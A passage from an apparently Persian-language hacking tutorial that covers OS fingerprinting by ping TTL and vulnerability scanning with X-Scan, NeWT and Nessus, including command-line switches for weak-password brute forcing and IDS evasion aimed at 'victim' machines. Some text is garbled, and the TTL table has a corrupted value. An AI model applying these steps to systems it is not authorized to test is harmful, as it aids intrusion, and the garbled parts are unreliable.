در جواب چون ما  جلوی . موی این فرمان یک چيزی مينویسي زده البته جلEnter را نوشته بعد دو بار GETخوب ما فرمان . فرمان ميخواهد
  .این از این. فرمان را چرند پرند نوشتيم به ما یک جواب ميدهد که در آن جواب ما باید دنبال هدر پروتکل بگردید

ن بود چون آن را دست  همين ماشين وصل شدم اطلاعاتی را که برای من فرستاد بسيار دروغيTelnetاین را ذکر کنم وقتی من به سرویس 
 را پر از هدر ها و برچسب های دروغ نوشته بودن که این کار کاملا عملی است پس تا ميتوانيد باید etc/issue.net/کاری کرده بودن و فایل 

ا را حدس به ماشين هدف خودتان با پورت های مختلف آن وصل شده و بعد با توجه به جمع بندی که ميکنيد نوع سيستم عامل و سرویس ه
  .بزنيد

  
 است که به Ping در فرمان TTLدر این مبحث یک بحث کوچولو دیگر باقی ميماند و آن هم شناسایی نوع سيستم عامل با استفاده از ارزش 
فرمان برای استفاده از این روش شما . این صورت است که هر سيستم عامل تقریبا ارزش این فيلد خود را در یک محدوده ایی قرار داده است

Ping را اجرا کرده و به ستون TTL یک نگاه مياندازید و بعد آن را با جدول پایين مقایسه کرده و نوع آن سيستم را مشخص ميکنيد به مثال 
  :زیر توجه کنيد 

 C:\>ping xxx.xxx.xxx.xxx 
 
Pinging xxx.xxx.xxx.xxx with 32 bytes of data: 
 
Reply from xxx.xxx.xxx.xxx: bytes=32 time<1ms TTL=128 
Reply from xxx.xxx.xxx.xxx: bytes=32 time<1ms TTL=128 
Reply from xxx.xxx.xxx.xxx: bytes=32 time<1ms TTL=128 
Reply from xxx.xxx.xxx.xxx: bytes=32 time<1ms TTL=128 
 
Ping statistics for xxx.xxx.xxx.xxx : 
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
Approximate round trip times in milli-seconds: 
    Minimum = 0ms, Maximum = 0ms, Average = 0ms 
 

 
  نام سيستم عامل TTLمقدار 

32 Windows 9x/NT Intel 
128 Windows XP PRO & Home 
128 Windows 2000 
60 Digital Unix 4.0 Alpha 
64 Unisys x Mainframe 
64 Linux 2.2.x Intel 64 
64 FTX(UNIX) 3.3STRTUS 64 
64 SCO Compaq 
128 Netware 4.11 Intel 
60 AIX 4.3.X IBM/R6000 
60 AIX 4.2.X IBM/R6000 
60 Cisco 11.2 7507 

2514255 Cisco 12.0 
60 IRIX 6.x SGI 

  
  . توصيه من برای شناسایی سيستم عامل و سرویس ها است Nmap البته .خوب همانطور که متوجه شدید این کار دقت زیادی ندارد

  
 .ک مرحله دیگر باقی مانده که آن را هم توضيح ميدهم و فقط ی گانه هک را برای شما ها عزیزان توضيح دادم۴ مرحله از مراحل ٢تا به حال 

دهيد که مطلب بسيار است و ابزارها بيشتر من نميدانم از کدام بنویسم و  به من حق بقبول دارم گسيختگی مطالب تا به اینجا بسيار است اما واقعاً
در ضمن سعی من بر این است تا شما بفهميد که اصلا این عمليات ها و مکانيزم ها چگونه انجام ميشود و این کار را خيلی مشکل !! چه بنویسم
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 یکسری اطلاعات پایه ه و البته باید خوانند این باره مطلب خيلی کم است درواقعاًتر ميکند چون من باید از اصول این کار برای شما بگم که 
را بدانند ...  وTelnetکه این مطلب برای آنهای که مفهوم های پایه ایی همچون پورت و یا ) % ۶٠یعنی ( ولی من سعی کردم . داشته باشد
  . مفيد باشد

  
  گام سوم

  
  :مقدمه 

سيستم عامل برنامه های کاربردی و سرویس دهنده ها و مشخصات شبکه هѧدف و یѧا ماشѧينهای کѧه در     خوب تا به حال شما پورت های باز نوع          
در این جا ممکن است دو اتفاق بيفتد یا شما با تجربه ایѧد کѧه هيچѧی یѧا بѧدون تجربѧه            . آن شبکه است را مشخص کرده اید و اطلاعات کاملی دارید          

اگر عجول هستيد که فکѧر ميکѧنم   . عد تهاجم اصلی برای بدست گرفتن ماشين هدف را آغاز ميکنيم اگر عجول نيستيد این مرحله را انجام ميدهيم ب        
د و به نѧوعی  یدیگه به این مرحله هم نرسيده اید چون مثلا اگر یک پورت باز که توسط یک اسب تروا یا یک در پشتی باز شده سراغ آنها رفته ا           

 ميتѧوانيم سѧراغ   عبѧا دانѧستن ایѧن موضѧو    ... ه مثلا ماشين هدف چه برنامه هایی روی آن هست و ما در این مرحله ميدانيم ک    .ديمرده خوری می کن   
 Exploitو )اگر از حفره های آن اطلاعی ندارید به یک از سایتهای مشهور که در ادامه ميگویم مراجعه کنيѧد  ( حفره های شناخته شده آن رفته     

 هѧای آن حفѧره هѧا را معمѧولا     Patch امنيتی بسيار زیاد است و البته مدیر سایت یا آن سѧرور              های آن را استفاده کرده ولی معمولا این حفره های         
خوب ما این مرحله را برای این انجام ميدهيم که این کار را اتوماتيѧک کѧرده و حفѧره              . نصب ميکنند و انجام تک تک این کار بسيار مشکل است          

 البته یک هدف دیگѧر هѧم داریѧم    ) ها مشکل ان ها برطرف ميشود Patchه ها به واسطه گفتم بعضی حفر(  را زودتر کشف کنيم   اسيب پذیر های  
آن هم این است که معمولا نرم افزارهای پویش نقاط آسيب پذیری معمѧولا متѧدهای هѧک را هѧم آزمѧایش ميکننѧد و اگѧر جѧواب دهѧد بѧه مѧا اطѧلاع                                   

براحتی ميتوانيد این مرحله را نادیده گرفته و کار را یک سره کنيد ولی من               اشد  حتما متوجه شدید که اگر تجربه خوبی در اختيار داشته ب          . ميدهند
تمام آنهایی را که در این مدت ميشناسم و البته قبول دارم آنها را با اینکه  تجربه بسيار فوق العاده ایی در کل امورات هѧک دارنѧد ایѧن مرحلѧه را        

. و سѧخن آبراهѧام را هميѧشه تکѧرار مѧی کѧرد      " ميѧشود   ... آدم مغѧرور    : " ا که هميشه می گفѧت     به هيچ وجه نادیده نمی گيرند و به قول یکی از آنه           
 سѧاعت نخѧست آن را   ۴ سѧاعت قطѧع کѧنم ،    ۶چنѧان چѧه قѧرار باشѧد درختѧی را در مѧدت       " اول این مقاله گفتم سخن را حالا یک بار دیگر ميگویم            

لبته برای هر سرویسی تخصصی نيز هستند یک کمی دردسر سѧاز اسѧت چѧون     معرفی این پویش گر ها که ا  ".صرف تيز کردن تبر خواهم کرد     
 بيشتر ابزارهای خوب آن ، که کمتر اشتباه می کند روی سيستم عامل های لينوکس اجرا ميشوند تا وینѧدوز امѧا اخيѧر یѧک کѧارایی شѧده امѧا واقعѧاً                 

  . را توجيه کرددنمی شود خلع موجو
  

   :Nessusابزار 
  

شѧود   که البته کارایی بسيار عالی دارد که متأسفانه روی ویندوز اجѧرا نمѧی  ، یکی از بهترین این ابزارها ت و البته رایگان و   برنامه کد بازی اس   
 البتѧه چѧرا   .)این را بگویم که اگر زمانی بود نرم افزارها ماشين مجازی و شبه ساز لينوکس را توضيح ميѧدهم  (و برای سيستم های لينوکس است    

 نѧسخه   Tenableشرکت  ) یکی دو سال همش    ( این را بگویم که  جدیداً     . با اینکه فوق العاده است من اصلا از آن خوشم نمی اید           من دروغ بگویم    
 نگرفته کد هѧا را دوبѧاره بѧرای وینѧدوز بنویѧسد بلکѧه شѧيوه         شرکت  انتشار داده است البته اینNeWT Security Scannerویندوز آن را با نام 

 از زبѧان  Nessusهای ایѧن برنامѧه     scriptsاین را ميدانيد که     . ا با نوشتن یک برنامه ضعيف به ویندوز حالی کرده است           ها ر  Plug-inنگارش  
 گفتѧه ميѧشود و پѧسوند اسѧکریپت هѧای پѧلاگ اینهѧا نيѧز         NSAL که به صورت  Nessus Attack Scripting Languageخاص خودش با نام 

 حѧالی وینѧدوز کѧرده البتѧه ایѧن برنامѧه کѧار بѧا آن سѧاده اسѧت ولѧی نѧسخه معمѧولی کѧه در               ییѧ  آد یک جورهستند را با استفاده از برنامه ضعيف خو   
خودش گفته من هر چی گشتم نسخه حرفѧه ای آن   را که این برنامه   C های کلاس    IPسایت گذاشته فقط ميتواند کامپيوتر خودتان را پویش کند نه           

 یک برنامѧه دیگѧر بѧرای پѧویش نقѧاط آسѧيب پѧذیر هѧست کѧه کѧارایی                  .ین حال این را هم توضيح ميدهم      را که براش تبليغ ميکند پيدا نکردم ولی با ا         
 ميتوانيѧѧد دریافѧѧت کنيѧѧد آن را و مѧѧن اینجѧѧا اسѧѧت کѧѧه از X-Scan اسѧѧتفاده هѧѧم ميکنѧѧد برنامѧѧه Nessus هѧѧای برنامѧѧه scriptsخѧѧوبی نيѧѧز دارد و از 

ایѧن یѧک توضѧيح بѧدهم     .  برای ویندوز و کارای آن مافوق فوق العاده است  Nessusکنم از این حتما استفاده کنيد چون خودش یک نوع           توصيه مي 
 بѧه کѧد هѧای کѧشف     scripts ، کلا  هاscriptsبرای  ( چون از زبان برنامه نویسی خاص خودش که بالا گفتم استفاده می کند  Nessusکه برنامه   

 هѧا اسѧتفاده کنѧد توانѧایی     scriptsاسѧت و برنامѧه هѧایی کѧه از ایѧن نѧوع            Nessus بѧرای برنامѧه      NSLAميگویند که پسوند آنهѧا      حفره های امنيتی    
و منبع باز اسѧت آنقѧدر مѧشهور اسѧت البتѧه بѧه حѧق نيѧز اسѧت و مѧن           )   هستندقابل استفادهکشف حفره های امنيتی برای  Nessus نرم افزار   مشابه

ایѧن را اضѧافه کѧنم کѧه برنامѧه هѧای            .  در ویندوز استفاده کنيد که مجانی هѧم اسѧت          X-Scanکه گفتم بهتر است از برنامه       همانطور  منکر آن نيستم    
 بѧرای پѧویش حفѧره هѧای اسѧيب پѧذیری قربѧانی اسѧتفاده ميکنѧد بѧه همѧين            Nessus هѧای  scriptsزیادی دیگر حالا برای ویندوز منتشر شده که از      

 درست کننѧد یѧک ذره دنبѧال بگردیѧد حتمѧا نرمافزارهѧای بهتѧری        Nmapرفتن نسخه ویندوز این برنامه را مثل    خاطر بر بچه های برنامه نویس ن      
  .را پيدا ميکنيد

  
   :X-Scan برنامه Nessusنسخه ویندوز

  
  :مقدمه برنامه 

 برای پویش حفѧره هѧای اسѧيب    Nessus های scripts است که جزو اولين برنامه هایی بود برای ویندوز که از xfocus خوب این برنامه از تيم  
 آن را از بالا دریافت کنيد این برنامه نيازی به نصب نѧدارد و بعѧد    ٣٫١پذیری قربانی استفاده ميکرد و کارایی خوبی هم دارد شما ميتوانيد نسخه             
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 هѧا ميتوانيѧد از برنامѧه    scripts بѧه همѧراه دارد بѧرای دریافѧت جدیѧد تѧرین        scripts ٣٧١٣آن از حالت فشرده به همѧراه خѧودش   از خارج کردن 
  :این شکلی رابط کاربری اش )  X-Scan( این برنامه.  استفاده کنيدUpdate.exeهمراه خودش به نام  

  
  

 و هѧم دارای یѧک نѧسخه     بѧرای تѧازه کارهѧا   کنѧد   را سѧاده مѧی   کار بѧا  که xscan_gui دارای یک رابط کاربری ساده است به نام          X-Scanبرنامه  
 کѧه بعѧد از اجѧرای آن در خѧط فرمѧان  ایѧن       . کѧه مѧن نѧسخه خѧط فرمѧان را دوسѧت دارم ملѧی هѧيچ فرقѧی بѧا هѧم نمѧی کنѧد               Xscanام  خط فرمان به ن   
  :مشاهده می کنيد

C:\X-Scan-v3.1>xscan.exe 
Usage: xscan -host <startIP>[-<endIP>] <module> [option] 
          xscan -file <host_list_file> <module> [option] 
 
<module> means: 
   -active   : check if the target host is active 
   -port     : check the status of tcp port 
   -smb      : check NT-Server weak password 
   -netbios  : check Netbios information 
   -snmp     : check SNMP information 
   -os       : check target OS version 
   -ftp      : check FTP-Server weak password 
   -pub      : Check anonymous pub write permission 
   -pop3     : check POP3-Server weak password 
   -smtp     : check SMTP-Server vulnerability 
   -sql      : check SQL-Server weak password 
   -iis      : check IIS encode/decode vulnerability 
   -cgi      : check cgi vulnerability 
   -nasl     : load Nessus Attack Scripts 
   -all      : check all vulnerability 
 
[option] means: 
   -i <interface_number>: set network interface 
   -l: list network interface to get the <interface_number> 
   -v: display verbose information 
   -p: skip host when no response 
   -o: skip host when no opened port be found 
   -t <thread_count[,host_count]>: specify the maximal thread count and host count, default is 100,10 
   -log <report_file>: specify the report filename, text or html format 
 
Example: 
      xscan -host xxx.xxx.1.1-xxx.xxx.254.254 -all 
      xscan -host xxx.xxx.1.1-xxx.xxx.254.254 -port -smb -p -t 100 
      xscan -file host.lst -port -cgi -t 100,5 -v -o 
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 که البته فکر کنم شما دوستان تازه کار خوشتان نمی آید از آن و یا بهتѧر بگѧم کѧه    نسخه خط فرمان اجازه بيشتری به ما برای کنترل برنامه ميدهد         
خه اصلا از برنامه های خط فرمان ، ولی باور کنيد که برنامه های خط فرمان دارای پایداری بهتر و جѧواب هѧای صѧحيح تѧری هѧستند چѧون نѧس                        

ممکѧن اسѧت یѧک سѧری از اطلاعѧات      " پѧشته  " های گرافيکی در ویندوز در صورت کمبود حافظه که مثلا بѧا بѧالا آمѧدن یѧک برنامѧه و پѧر شѧدن                       
فقѧط یѧک رابѧط    ) xscan_gui(ایѧن را اضѧافه کѧنم کѧه رابѧط کѧاربر      . پس بهتر است از خط فرمان اسѧتفاده کنѧيم  ... همان لحظه را از دست بدهند و      

رنامه چون شما با تنظيم آن و شروع پویش این برنامه معادل همان پيکر بندی را برای نسخه خط فرمان ایجاد کرده و برنامه خѧط                است نه خود ب   
  . و جوابها را دوباره از برنامه خط فرمان ميگيرد و به صورت گرافيکی به ما نمایش ميدهد.فرمان را در پشت ضميمه اجرا ميکند

  . است٢۵/٣/٢٠٠۴ باشد مال ٣٫١ بود آخرین نسخه اش که الان فکر ميکنم همان ١٢/١٢/٢٠٠٠ اولين نسخه این برنامه مال
  :شکل عمومی دستورات در این برنامه به دو شکل زیر است 

C:\>xscan -host <startIP>[-<endIP>] <module> [option] 
 
C:\>xscan -file <host_list_file> <module> [option] 

 هم یکی یѧا     <module> به جای .  های قربانی را مينویسيد    IP یا   IP شما   startIP>[-<endIP>]>به جای     .  واضح است  خوب همه چيز کاملا   
  . هم اگر لازم دانستيد یکی از سویچ های جدول شماره دو را مينویسيد[option]و به جای .  را مينویسيم١مخلوطی از سویچ های جدول شماره 

  
   :١جدول شماره 

  تتوضيحا  سویچ  
١  -active   برای این است که درک کند آیا اینIPیک جور  . که شما به برنامه دادید آیا بالا است یا نه

 را به برنامه ميدهيد خيلی مفيد IPوقتی یک رنج ( . را انجام ميدهدPingهایی همان عمل 
  )است 

٢  -port  وضعيت پورت هایTCPمرحله ایی ٣انی فکر کنم از مکانيزم پا تک.  را یک نگاهی ميکند 
  . را هم پشتيبانی ميکند SYN و البته مکانيزم .استفاده ميکند

٣  -smb   برای بدست آوردن کلمه های عبور اشتراک های پروتکلSMB که بعدا کامل توضيح 
ی موجد در این و البته این راهم بگم که برای حفره ها. ميدهم یک سری تلاش اساسی ميکند

  . هم پویش ميکندپروتکل
۴  -netbios   یک سری اطلاعات در بارهNetBIOSالبته در صورت فعال بودن ، که .  بدست می آورد

 و البته به .در این دوره زمانه برای سرور ها بعيد است که اصلا این سرویس فعال باشد
  . هم ميگرددی این پروتکلدنبال حفره ها

۵  -snmp   ها آن را پویش می کندبرای وجود حفره در صورت فعال بودن این پروتکل.  
۶  -OS   نوع سيستم عامل را کشف کند بعد از و سعی ميکند شماره نسخه و البته خودNmap خيلی 

برای (  کشف حفره های ان سيستم عامل را یک پویش نيز برای و البتهش درست استراکا
  .ميکند) کشف حفره های موجد در سيستم عامل 

٧  -ftp  با اضافه کردن این سویچ با استفاده از مکانيزم  . شناسندخوب همه این پروتکل را ميBrute 
Forceکشف حفره های موجد در  سعی ميکند کلمه عبور را کشف کند و البته برای حفره ها 

  . یک پویش ميکند ، هماین پروتکل
٨  -pub   یک آزمایشی ميکند ببيند که آیا آن ماشين اجاره دسترسی ناشناس)anonymous (ا را به م

  .ميدهد و البته باز هم یک سری پویش برای کشف حفره آنجام ميدهد
٩  -POP3 کردن این سویچ اضافهبا . خوب این پروتکل کشش نامه از صندوق پستی الکترونيک است 

  .برنامه یک سری پویش برای کف حفره ها انجام ميدهددر صورت فعال بودن این سرویس 
١٠ -smtp  ال و دریافت پست الکترونيک یا همان خوب این همان پروتکل ارسE-Mailخودمان است  .

که با اضافه کردن این سویچ یک سری اطلاعات اساس در باره آن ميگيرد و این پروتکل را 
  .برای وجود حفره ها ميگردد

١١ -sql  کردن این سویچ برنامه برای اضافهخوب اگر ماشين قربانی از این سرویس استفاده بکند با 
  .سرویس یک تلاشی ميکندره های موجد در این فحشف ک

١٢ -iis   اگر شما ميدانيد سرویس دهنده وب این ماشين از نوعIISبا  است ،ت در پيت مایکروساف 
شما یک تعدادی حفره عالی کشف %) ٩٩٫٩٩٩٩بالای (اضافه کردن این سویچ حتما 

  .ميکنيد
١٣ -cgi  اگر ميدانيد وب سایت هدف از توابعCGIفاده ميکند ، با اضافه کردن این سویچ برنامه  است

  .یک پویش هم درباره این سرویس انجام ميدهد تا حفره های قابل  استفاده را کشف کند
١۴ -nasl   با اضافه کردن این سویچ برنامه ازscripts های برنامه Nessusاستفاده ميکند .  
١۵ -all  این سویچ تمام سرویس های که برای آنscriptsدارد را پویش ميکند .  
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  :جدول شماره دو 
  توضيحات  سویچ  
١  -i  با اضافه کردن این سویچ باید بعد از آن نام کارت شبکه مورد استفاده خود یا شماره)IP ( آن را

 خودتان IPالبته وارد کردن ). برای آنهایی که توسط کارت شبکه قسط پویش را دارند(وارد کنيد 
  .ه مودم به اینترنت یا هر شبکه ای که وصل ميشوند خالی از فایده نيستبرای کسانی که به وسيل

٢  -l  با اضافه کردن این سویچ برای شما یک ليستی که حاوی شماره های کارت شبکه شما است می
  .آورد

٣  -v  این سویچ باعث نمایش جزئيات هين انجام کار ميشود یا به عبارتی روند انجام کار را به شما نشان
  .دهدمي

۴  -p  این سویچ باعث ميشود که اگر یک ميزبانی به ما در جوابPing پاسخی نداد آن را نادیده بگيرد و 
  .به سراغ بعدی برود

۵  -o  این سویچ باعث ميشود که اگر بر یک ميزبان یک پورت باز هم پيدا نکرد آن را نادیده بگيرد و به
  . سراغ بعدی برود

۶  -t يزم های مخفی ماندن است که در بالا تر ها برای برنامه خوب این یکی از مکانnmap گفتم چی 
با استفاده از این گزینه برنامه بسته ها را تکه تکه کرده و ميفرستد که شناسایی شما مشکل . هست 

ميشود و احتمال عبور بسته ها از دیوار آتش خيلی زیاد تر ميشود و همچنين حذف بسته توسط فيلتر 
ب ها احتمال این اتفاق هم کمتر شده اما احتمال  نتيجه گرفتن صحيح کمتر ميشود البته ها و مسيریا

بعد از این سویچ . دیگه فعال نميشود برای ما ) IDS( با این کار دزد گير یا همان افسر خودمان 
یچ البته امکان استفاده از سو. تعداد آن را شما باید تعداد تکه تکه شدن هر بسته را مشخص کنيد 

  .خالی تيز هست که تعداد خورد کردن بسته را خودش مشخص ميکند که بد هم نيست
٧  -log  که با اضافه کردن این سویچ بعد از آن باید نام فایل نتيجه را به یکی از دو فرمتtxt و یا html را 

سویچ خود است زیرا بدون این ) از این سویچ استفاده نکنيد ( این کار را نکنيد بهتر. وارد کنيد
 که در پوشه خود برنامه log ماشين هدف با هر دو فرمت در پوشه IPبرنامه فایل نتيجه را با نام 

  .است ایجاد ميکند
  

 را بگيریѧد و داخѧل پوشѧه      nasl هѧای    scripts اخرین   Nessus کار این برنامه کار درست است ،البته توصيه ميکنم هميشه از سایت              خوب واقعاً 
scriptsامه بریزید تا بهترین نتایج را دریافت کنيد و یا از امکان  این برنUpdateخود برنامه استفاده کرده .  

  

 کليک ميکنيد تѧا    دکمهروی  را زده یا Ctrl+E بعد بالا آمدن این برنامه ترکيب  خوب کار با رابط کاربری این برنامه راحت است اول 
  .به بخش تنظيمات بروید

 ماشين مورد نظر خود را وارد ميکند در قسمت کناری آن ميتوانيد نѧوع شѧيوه گѧزارش خѧود را انتخѧاب کنيѧد و نѧام                      IP شما   Generalدر صفحه   
  ..آن را عوض کنيد و

  
برای توضيحات بيѧشتر بѧه   ( شما در قسمت اول آن شما ميزان تکه تکه کردن فایل برای مخفی ماندن را مشخص ميکنيد                 Advancedدر صفحه     

  .در بخش دوم گزینه اول در صورت علامت زدن روند پيشرفت کار را نمایش ميدهد). ه کنيدبخش خط فرمان مراجع
  . مراجعه شودp– سویچ  توضيحاتبهskip host when failed to get response برای گزینه 
  . مراجعه کنيدo– سویچ ت به توضيحا skip host when  no open port has bin failedبرای گزینه 

معѧادل ایѧن گزینѧه در خѧط فرمѧان مѧساوی بѧا        . (  چه پورت باز پيدا کند یا نکند یا ماشين جواب بدهѧد یѧا ندهѧد انجѧام ميدهѧد     Scan Alwaysگزینه 
  ) است o– و p–استفاده نکردن از هيچ کدام از سویچ های 

  
  .ض را تنظيم ميکنيد شما ليست پورت هایی را که باید بگردد و مکانيزم آن و معادل پورت های پيش فرPortدر صفحه 

  
 ذخيѧره  Config را زده تѧا تغيѧرات در فایѧل       OKدر صفحه های بعدی هم یک سری چيز دیگه حالا بعد از پيکѧر بنѧدی مѧورد علاقѧه خѧود دکمѧه                         

  .کار شروع ميشود) یک فلش سبز بالا هست ( شود حالا با کليد روی دکمه شروع 
  

 داده است که بѧا هѧم متفѧاوت هѧستند تѧا اینجѧا را داشѧته        IDهده کنيد که برای هر حفره یک شماره خوب بعد از تمام کار شما ميتوانيد نتيجه را مشا  
  .باشيد تا بقيه نرم افزارها را به شماها یاد بدم بعد بگم با این عدد چه کار باید بکنيد

زی را کѧه لازم دارد و مثѧل خيلѧی از نѧرم      را همѧراه خѧودش دار دو البتѧه تمѧام هѧر چيWinpcap       ѧای یادم رفت بگم که این برنامه یѧک نѧسخه از             
  .افزارهای هک که از لينوکس آمده اند نيست که یک دو جين برنامه را براش باید نصب کنی تا برای شما کار کند
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    :NeWT Security Scanner  برنامهNessusنسخه ویندوز
  

  :این نرم افزار این شکلی که پایين می بينيد 
  

  
  

 بѧه معنѧی    اسѧت منفهمѧ  واقعѧاً چѧون   ( !! مѧن ایѧن توصѧيه ميکѧنم    د کنيѧ  پѧویش اگر ميخواهيد رایانه خودتѧان را       ،  یی است کارش    خوب این هم مثل بالا    
امѧا آنهѧایی کѧه ایѧن     "  را پѧویش کنيѧد   C هѧای کѧلاس   IPمن به شما در نسخه رایگان این محصول اجѧازه ميѧدهم          " برای اینکه ميگوید     واقعی کلمه 

 هѧایی هѧستند کѧه عѧدد سѧمت      Ip آن C های کѧلاس  IPقط اجازه ميدهد که رایانه خودتان را اسکن کنيد یک توضيح بدم    دانلود کردن می دانند که ف     
  ) است البته درباره اصول پایه ای همچون این بعدا توضيح ميدهم در ضميمه مقاله ٢٢٣ تا ١٩٢چپ بين 

روف کوچѧک و بѧزرگ توجѧه کنيѧد چѧون یѧک برنامѧه اسѧت کѧه بѧا           بѧه حNeWT Pro)   ѧخوب این نرم افزار یک نسخه حرفه ای هم دارد به نام  
  .که محدودیت اسکن ندارد اما هنوز بدست من نرسيده ) همين اسم که تمام حروف آن بزرگ است

  : است که بعد از اجرا این شکلی NeWTCmdاین برنامه هم دارای یک رابط کاربری است که دقيقا مثل بالای است فایل برنامه به نام 
  

 
C:\Tenable\NeWT>NeWTCmd.exe 
NeWTCmd 2.1 -- Copyright (C) 2003 - 2004 Tenable Network Security 
 
Usage: NeWTCmd [scan target] <plugin set name> 
Please use quotation mark if the name of the plugin set contains whitespace. 
If no plugin set specified, 'allsafe' will be used by default. 
 
Examples are: 
NeWTCmd localhost allsafe 
NeWTCmd 192.168.0.1-192.168.0.10 all 
NeWTCmd 192.168.0.1-192.168.0.10 "Port Scan" 

  
  

ک آن در سѧایت   شѧده کѧه اسѧمش و لينX-Scan     ѧاميѧدوار هѧستم کѧه ایѧن بѧا نѧرم افѧزار بѧالای یѧک مقایѧسه بکنيѧد بعѧد ميفهميѧد کѧه اجحѧافی در حѧق                
Nessus قرار نداده اند بعد لينک این در پيت را گذاشتند .  

  
  
  
  
  
  
  

(c) ketabton.com: The Digital Library



٤٦    صفحه  !!آموزش هک و معرفی نرم افزار های مربوطه توسط خودم 

  !!! بودن این برنامه به غایت ماین هم دليلی بر نفهم
  

  
  

  . به ما جواب داد  را باز این"اشکول " مان هم آزمایش کردم هم تو شبکه جهانی ولی خودنه اخوب ما این را هم ذکر کنم تو شبکه خ
  

اول سѧرور آن بایѧد بѧالا    .  استNessusخيلی شبيه . شود در حق این برنامه اجحاف کرد کارش درست است برای اسکن خود رایانه شما    ولی نمي 
 بایѧد اسѧتفاده   Scan Server Configurationباشد که اصولا هميشه خدا بالا است بѧرای خѧاموش کѧردنش بایѧد از برنامѧه همѧراه خѧودش بѧا نѧام          

  . به غير از موارد استفاده حتما از کار بيندازد این سرور راکنيد توصيه ميکنم که
  

 است که ميشود تغيرات مѧورد نظѧر         Nasl های   scriptsکارش ویرایش   که    nasl.exe  است به نام    این نرم افزار   هخوب یک برنامه خوب همرا    
کѧل خѧوب     در. اسѧتفاده ميکننѧد بѧه کѧار بѧرد     Nessusهѧای   scriptsخود را روی آنها اعمال کرد البته ميشود برای تمѧامی نѧرم افزارهѧایی کѧه از         

  !!است این به خودتان ميسپارم 
  

 اسѧت کѧه بѧه ترتيѧب      شما به صفحه  ميروید که در آنجا چهار گزینه        Next زدن کليد     قربانی و  IP وارد کردن    کار با این برنامه ساده است بعد از       
  :عبارتند از

  
 هѧای خطرنѧاک کѧه باعѧث نѧا پایѧداری       scripts بجز scriptsیعنی تمام  : Enable all but dangerous plugins (Recommended)گزینه 

  .سيستم می شود یا باعث لو رفتن می شود
  . های خطرناکscripts ها بعلاوه scripts تمام یعنی که  : Enable all plugins (Even dangerous plugins are enabled)گزینه 
بѧا انتخѧاب ایѧن گزینѧه یѧک سѧری پѧویش هѧای دسѧته بنѧدی شѧده            :  Use a predefined plugin set (You can manage them here)گزینه 

  . و شما باید دسته مورد نظر خود را انتخاب کنيدانجام ميدهد که البته جزئيات قابل تنظيم نيست
 های مورد علاقه خود را انتخاب scriptsه باید که با انتخاب این گزین : Define my own set of plugins (For advanced user)گزینه  

  .کنيد بعد پویش را شروع کنيد
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 یکی را به فراخور حال خود انتخاب کرده یا اگر سه گزینه اولی بدرد شѧماها نمѧی خѧورد و یѧا ميخواهيѧد خودتѧان انتخѧاب کنيѧد دربѧاره چѧه                              خوب

  .تخاب کنيد بعد شروع به پویش کنيدبگردد گزینه آخر را انتخاب کنيد که در آنجا هر چه خواستيد ان
  

  . را انجام داده اید همين دیگرNessusاز امکانات برنامه % ٩٠به این ترتيب ميشود گفت یک پویش با 
  

   :Nessusمعرفی برنامه 
  

 nmap و GTK یѧا  GIMP Toolkitنصب این شبح مѧستلزم نѧصب دو برنامѧه دیگѧر بѧا عنѧوان       . قبل از هر چيز باید این سرطان را نصب کنيد
 .موقع نصب لينوکس یا هر سيستم عامل کد باز گزینه های مدیریتی را انتخاب کرده باشيد ایѧن مرحلѧه را لازم نداریѧد        ميباشد که معمولا شما اگر      

 بѧه منظѧور بѧارگيری و نѧصب     Nessus-plugins  و Nessus-core و Nessus-libraries در چهار قالب مختلف بѧا عنѧاوین       Nessusبرنامه  
(  از طریق هر یک از این سه نوع بسته ها مستلزم طی مراحل استاندارد بѧارگيری ، کامپایѧل و نѧصب                        Nessusنصب برنامه   . نتشر شده است  م

ایѧن برنامѧه در قالѧب    . ميباشѧد )  استMack install و configure ، Mackکه مراحل آن به ترتيب عبارتند از اجرای فرامين مربوطه ، یعنی 
 منتشر ميشود که شامل کليه کد های مѧورد نيѧاز بѧوده و فراینѧد نѧصب      Nessus-installer.sh نيز با عنوان shellآرشيو منفرد چهارمی که یک   

ایѧن مقالѧه    ،  مراحѧل نѧصب را خѧوب توضѧيح داده انѧد     Tur2.comمن بѧه علѧت اینکѧه آقѧای آراز در سѧایت      . را به گونه ای مناسب کنترل می کند    
   :له خود قرار ميدهم و توضيح و البته تایپ اضافی خود داری ميکنم در مقابعلاوه لينک آن را 

  
  htm.13810631n/articles/com.2tur.www://http  :لينک مقاله 

  
  ) :داری شده است فقط قسمت نصب برنامه آورده شده است و از آوردن قسمتهای دیگر خود ( متن مقاله 

  
  چطوري نصب کنم؟

  

مثلا . شويد ايد وارد مي لود کرده  لينوکس رو باز کرده و به دايرکتوري که فايل رو اونجا داونshellحالا .  کرده باشيدlogin به لينوکس super-user يعني rootاولا بايد در مود 

 : نويسيد ايد، مي لود کرده فايل رو داون/ root/Desktopاگر در 

# cd /root/Desktop 
 : نويسيد حالا دستور زير رو مي

# sh nessus-installer.sh 
 ): شه فقط اينکه انقدر نوشته مياد که به نظر ميرسه صفحه پاک شده البته صفحه پاک نمي(شه و نوشته زير مياد  بلافاصله صفحه پاک مي

-------------------------------------------------------------------------------- 

                             NESSUS INSTALLATION SCRIPT 

-------------------------------------------------------------------------------- 

 

 

Welcome to the Nessus Installation Script ! 

 

This script will install Nessus 2.0.7 (STABLE) on your system. 

 

Please note that you will need root privileges at some point so that 

the installation can complete. 

 

Nessus is released under the version 2 of the GNU General Public License 

(see http://www.gnu.org/licences/gpl.html for details). 

 

To get the latest version of Nessus, visit http://www.nessus.org 

 

 

Press ENTER to continue 
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  : يه سري چرت و پرت نوشته ميشه و صفحه پاک شده و متن زير مياد. دهيد  رو فشار ميEnterدکمه 

-------------------------------------------------------------------------------- 

                     Nessus installation : installation location 

-------------------------------------------------------------------------------- 

 

 

Where do you want the whole Nessus package to be installed ? 

[/usr/local] 

 

  : حالا صفحه پاک ميشه و نوشته زير مياد. نصب بشه/ usr/localفرض يعني   رو فشار بدين که در محل پيشEnterا دکمه  رو کجا نصب کنم؟ شمNessusاين ميگه که 

-------------------------------------------------------------------------------- 

                     Nessus installation : Ready to install 

-------------------------------------------------------------------------------- 

 

 

Nessus is now ready to be installed on this host. 

The installation process will first compile it then install it 

 

 

Press ENTER to continue 

اينا ابدا اراجيف نيستند ولي چون ما به صورت ( دفعه يکم بيشتر طول ميکشه که اراجيف تموم بشن  د ولي اينکنن ها شروع به ظاهر شدن مي بازهم چرت و پرت

